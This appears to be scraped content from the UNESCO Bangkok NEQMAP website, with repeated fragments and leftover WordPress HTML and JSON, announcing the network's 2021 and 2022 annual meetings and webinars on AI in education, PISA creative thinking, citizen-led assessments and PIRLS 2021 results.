The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

